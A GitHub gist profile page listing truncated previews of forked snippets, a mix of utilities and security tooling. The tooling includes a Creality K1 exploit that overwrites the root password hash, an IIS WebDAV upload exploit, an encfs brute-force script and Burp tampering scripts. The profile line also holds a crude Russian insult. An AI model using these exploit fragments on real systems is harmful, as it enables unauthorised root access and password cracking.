Skip to content

Instantly share code, notes, and snippets.

View s3rgeym's full-sized avatar
🏴‍☠️
РОСКОМНАДЗОР - дети шлюх

[object Object] s3rgeym

🏴‍☠️
РОСКОМНАДЗОР - дети шлюх
View GitHub Profile
@s3rgeym
s3rgeym / btg-attacks.md
Created July 28, 2023 05:25 — forked from metalicjames/btg-attacks.md
Bitcoin Gold (BTG) was 51% attacked

Bitcoin Gold (BTG) was 51% attacked

Preamble

Bitcoin Gold is a Bitcoin hard-fork that aims to be GPU-mineable by using the Equihash algorithm with parameters (144, 5) also known as "Zhash". The Bitcoin Gold website claims Zhash "uses more memory than an ASIC can muster, but runs fine on many graphics cards". Bitcoin Gold was previously 51% attacked in May 2018 when it was estimated that up to $18 million worth of BTG was double-spent.

The Attacks

Between Thursday and Friday we detected two deep reorgs on BTG, both of which contained double-spends. Their details are listed below. All times are GMT.

@s3rgeym
s3rgeym / ascii_arty.py
Created July 18, 2023 01:43 — forked from jdiaz5513/ascii_arty.py
Console ASCII Art Generator
#! /usr/bin/env python2
# Requires: PIL, colormath
#
# Improved algorithm now automatically crops the image and uses much
# better color matching
from PIL import Image, ImageChops
from colormath.color_conversions import convert_color
from colormath.color_objects import LabColor
from colormath.color_objects import sRGBColor as RGBColor
@s3rgeym
s3rgeym / k3d_k1_exploit.html
Created July 16, 2023 17:19 — forked from blakadder/k3d_k1_exploit.html
Creality K1 exploit method A (thanks to https://www.youtube.com/c/SorkinDmitry)
<html>
<head>
<title>K1 exploit for K3D Chat</title>
<script>
const patchedShadowStr = "root:$5$/iMbCgHty3$rM7UZICj9tmUe13BcAOUgVvpa.sSMV4k/t2Yes64ZZ9:::::::\ndaemon:*:::::::\nbin:*:::::::\nsys:*:::::::\nsync:*:::::::\nmail:*:::::::\nwww-data:*:::::::\noperator:*:::::::\nnobody:*:::::::\ndbus:*:::::::\n"
const patchedShadowBlob = new Blob([patchedShadowStr], { type: "text/plain" })
function sendPayload(payload,needAlert = true) {
var ip = document.getElementsByName("ip")[0].value
@s3rgeym
s3rgeym / pyscripter_snippets.py
Created June 14, 2023 18:48 — forked from irsdl/pyscripter_snippets.py
Burp Python Scripter scripts
# ***********************************************replacer_for_python_scripter
import re,random
print callbacks.getToolName(toolFlag)
if(messageIsRequest):
if (callbacks.getToolName(toolFlag) == "Proxy" or callbacks.getToolName(toolFlag) == "Intruder" or callbacks.getToolName(toolFlag) == "Repeater"):
requestInfo = helpers.analyzeRequest(messageInfo)
headers = requestInfo.getHeaders()
msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
msg = helpers.bytesToString(msgBody)
@s3rgeym
s3rgeym / iis_webdav_upload.py
Created March 18, 2023 15:20 — forked from mgeeky/iis_webdav_upload.py
Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation)
#!/usr/bin/python
import requests
import string
import random
import sys
def randstring(N = 6):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
@s3rgeym
s3rgeym / calculate_chrome_bookmark_checksum.js
Created February 28, 2023 00:07 — forked from dcantu476/calculate_chrome_bookmark_checksum.js
Nodejs implementation of creating the chromium bookmark checksum. Fork of python version.
import { createHash } from 'crypto';
// See https://gist.github.com/simon816/afde4d57d5dab8e80120e35596008834
// See https://chromium.googlesource.com/chromium/src/+/master/components/bookmarks/browser/bookmark_codec.cc
const regenChecksum = (roots) => {
const digest = createHash('md5');
const digestUrl = (url) => {
digest.update(url['id'],'ascii');
digest.update(url['name'],'utf16le');
@s3rgeym
s3rgeym / bruteforce-encfs.sh
Created September 25, 2022 02:20 — forked from Finkregh/bruteforce-encfs.sh
bruteforce encfs
#!/bin/sh
# initially from http://bredsaal.dk/cracking-encfs-made-easier
# usage: crackencfs.sh /path/to/encrypted/folder /path/to/mountpoint /path/to/wordlist
counter=1
while [ true ]; do
echo "$(head -n $counter $3 | tail -n 1)" | encfs $1 $2 --stdinpass
if [ $? -eq 0 ]; then
echo Key recovered - the password is:
@s3rgeym
s3rgeym / pg_change_db_owner.sh
Created September 15, 2022 15:58 — forked from jirutka/pg_change_db_owner.sh
Some convenient scripts to manage ownerships and privileges in PostgreSQL.
#!/bin/sh
#
# The MIT License
#
# Copyright 2014-2017 Jakub Jirutka <jakub@jirutka.cz>.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
@s3rgeym
s3rgeym / badwords.txt
Created September 11, 2022 08:04 — forked from Bl4ckSh4rk/badwords_3ds.txt
3DS Banned Word List - Updated: 09/13/16 (v9217 | FW 11.1.0-34)
.*(ca|k|ka)ralh(inh|o|ã|õ).*
.*[gj]ilip.*
.*[늬니]미.*
.*[뒈디]져.*
.*[백빽]보지.*
.*[붕븅빙]신.*
.*[뻑뽀]큐.*
.*[시씨]벨넘.*
.*[좃좆]까.*
.*[크클]리토리스.*
@s3rgeym
s3rgeym / covid-certificate-generator.py
Created September 8, 2022 15:46 — forked from dbolkensteyn/covid-certificate-generator.py
Generates an (invalid) COVID-19 EU certificate
import base45
import cbor2
import zlib
from binascii import unhexlify
from cose.messages import Sign1Message
from cose.keys import CoseKey
# Specifications: https://ec.europa.eu/health/sites/default/files/ehealth/docs/covid-certificate_json_specification_en.pdf